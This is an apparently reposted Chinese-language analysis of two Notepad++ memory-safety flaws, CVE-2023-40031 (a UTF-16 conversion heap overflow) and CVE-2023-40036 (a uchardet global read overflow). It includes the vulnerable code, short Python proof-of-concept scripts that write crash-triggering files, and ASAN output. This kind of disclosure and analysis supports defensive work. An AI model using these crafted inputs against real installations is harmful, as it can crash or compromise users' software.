CVE-2023-40031 Utf8_16_Read::convert (GHSL-2023-112
) 堆溢出
UTF16(小端) 到UTF8 转换时 Utf8_16_Read::convert
函数创建一个新缓冲区。UTF-16编码中,每个字符通常占用2个字节,下面是该函数块部分解释:
size_t Utf8_16_Read::convert(char* buf, size_t len) { // bugfix by Jens Lorenz static size_t nSkip = 0; m_pBuf = (ubyte*)buf; //将函数参数buf的地址转换为ubyte*类型并存储在类成员变量m_pBuf中。 m_nLen = len; m_nNewBufSize = 0; .... case uni16LE: { size_t newSize = len + len / 2 + 1;// len / 2 表示字符数,再加上1用于存储终止null字符 if (m_nAllocatedBufSize != newSize)//分配的缓冲区大小是否与新计算的大小不同 { if (m_pNewBuf) delete [] m_pNewBuf; m_pNewBuf = NULL; m_pNewBuf = new ubyte[newSize]; m_nAllocatedBufSize = newSize; } ubyte* pCur = m_pNewBuf;//定义一个指向新缓冲区的指针 pCur,用于追踪写入新缓冲区的位置。 //创建一个名为 m_Iter16 的迭代器,用于迭代处理输入数据。m_Iter16.set 函数初始化迭代器,设置输入数据的起始位置(m_pBuf + nSkip),以及剩余数据的长度(len - nSkip)和编码方式。 m_Iter16.set(m_pBuf + nSkip, len - nSkip, m_eEncoding); while (m_Iter16) { ++m_Iter16; utf8 c; while (m_Iter16.get(&c)) //字符转换 *pCur++ = c; } m_nNewBufSize = pCur - m_pNewBuf;//计算实际转换后的数据大小,即新缓冲区中有效数据的长度 break; } default: break; } // necessary for second calls and more nSkip = 0; return m_nNewBufSize; }
问题出在size_t newSize = len + len / 2 + 1;
在最坏的情况下,对于每两个UTF16编码的输入字节,可能需要三个UTF8字节。但是当输入的是字符是奇数字节长度,计算将停止。构造一个poc如下:
with open("poc", "wb") as f: f.write(b'xfexff') f.write(b'xff' * (9))
第二个 f.write
写入的数据长度为9字节,那么 newSize
就会变为14(9 + 9 / 2 + 1)字节。如果输入长度为奇数,++m_Iter16;
最后一个字节将会在迭代之外,即 len
之后的位置。while (m_Iter16.get(&c))
循环通过 m_Iter16
从UTF-16编码中获取一个字符,并将其转换为UTF-8字符。这一步的问题是,当 m_Iter16
已经超出了输入的有效数据范围,它可能会访问到无效的内存。
通过Notepad++ 的 ASAN ,查看堆溢出,也可以编译源码调试while (m_Iter16.get(&c))
查看。
==8896==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x1281524e6472 at pc 0x7ff7308d686e bp 0x00a8c41da680 sp ... SUMMARY: AddressSanitizer: heap-buffer-overflow C:nppPowerEditorsrcUtf8_16.cpp:181 in Utf8_16_Read::convert Shadow bytes around the buggy address: 0x04cd7c51cc30: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd 0x04cd7c51cc40: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd 0x04cd7c51cc50: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd 0x04cd7c51cc60: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 0x04cd7c51cc70: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd =>0x04cd7c51cc80: fa fa fd fd fa fa fd fd fa fa fd fd fa fa[02]fa 0x04cd7c51cc90: fa fa fd fa fa fa fd fa fa fa 00 00 fa fa 04 fa 0x04cd7c51cca0: fa fa 04 fa fa fa 01 fa fa fa 04 fa fa fa 01 fa 0x04cd7c51ccb0: fa fa 01 fa fa fa 04 fa fa fa 00 fa fa fa 04 fa 0x04cd7c51ccc0: fa fa 04 fa fa fa 04 fa fa fa 00 00 fa fa 04 fa 0x04cd7c51ccd0: fa fa 04 fa fa fa 04 fa fa fa 04 fa fa fa 00 fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc Address Sanitizer Error: Heap buffer overflow
CVE-2023-40036 全局缓冲区读取溢出
CharDistributionAnalysis::HandleOneChar
Notepad++ 使用了 uchardet
,该漏洞允许文件打开操作时读取超出全局分配的对象缓冲区的范围。
//Feed a character with known length void HandleOneChar(const char* aStr, PRUint32 aCharLen) { PRInt32 order; //we only care about 2-bytes character in our distribution analysis order = (aCharLen == 2) ? GetOrder(aStr) : -1; if (order >= 0) { mTotalChars++; //order is valid if ((PRUint32)order < mTableSize) // [2] { if (512 > mCharToFreqOrder[order]) // [1] buffer read overflow mFreqChars++; } } }
order
取决于输入文件内容,并且可以设置为大于 mCharToFreqOrder
缓冲区大小的值。在 mTableSize
行之前有一个检查。然而,由于某种原因, EUCTWCharToFreqOrder
的 mTableSize
被声明为 8102,所以可以构造:
with open("poc", "wb") as f: f.write(b'xfdxde')
poc,它设置为 5419,而 mCharToFreqOrder
(指向全局数组 EUCTWCharToFreqOrder
的指针)的大小为 5376 。
==13==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000005f4c16 at pc 0x000000589f61 bp 0x7ffde5e554c0 sp 0x7ffde5e554b8 READ of size 2 at 0x0000005f4c16 thread T0 SCARINESS: 24 (2-byte-read-global-buffer-overflow-far-from-bounds) #0 0x589f60 in HandleOneChar /src/notepad-plus-plus/PowerEditor/src/uchardet/CharDistribution.h:69:19 #1 0x589f60 in nsEUCTWProber::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsEUCTWProber.cpp:70:31 #2 0x57e75c in nsMBCSGroupProber::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsMBCSGroupProber.cpp:160:25 #3 0x57aadf in nsUniversalDetector::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsUniversalDetector.cpp:214:34 #4 0x5796a8 in uchardet_handle_data /src/notepad-plus-plus/PowerEditor/src/uchardet/uchardet.cpp:89:63 ....
测试版本文件可以从https://github.com/notepad-plus-plus/notepad-plus-plus/archive/refs/tags/v8.5.2.zip 获取
原文始发于微信公众号(TIPFactory情报工厂):Notepad++两个缓冲区溢出漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论